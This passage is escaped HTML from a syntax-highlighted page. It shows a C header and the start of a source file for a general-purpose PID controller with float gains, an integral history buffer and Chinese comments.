class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifndef __PID_H_\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define __PID_H_\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define MAX_LEN 15\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKP\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKD\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eLEN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eis_first\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 解决D的首次误差减去0得到一个不正常的D值问题\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003epid.c\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @file PID\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @author zl (2293721550@qq.com)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 一个通用的PID函数,该PID接收返回数据全部为float类型\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * 使用时先构造PID_struct类型的结构体,再调用PID_init()函数初始化结构体,最后调用PID()函数得到PID的返回值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @version 0.1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @date 2023-08-24\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @copyright Copyright (c) 2023\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 初始化PID结构体\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要初始化的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param kp P项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param ki I项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param kd D项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param len I积分项长度(不能超过MAX_LEN的设定值)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param max_i I项最大输出量,防止出现积分量过大导致的过冲\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 求出积分项值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_sum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取I值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 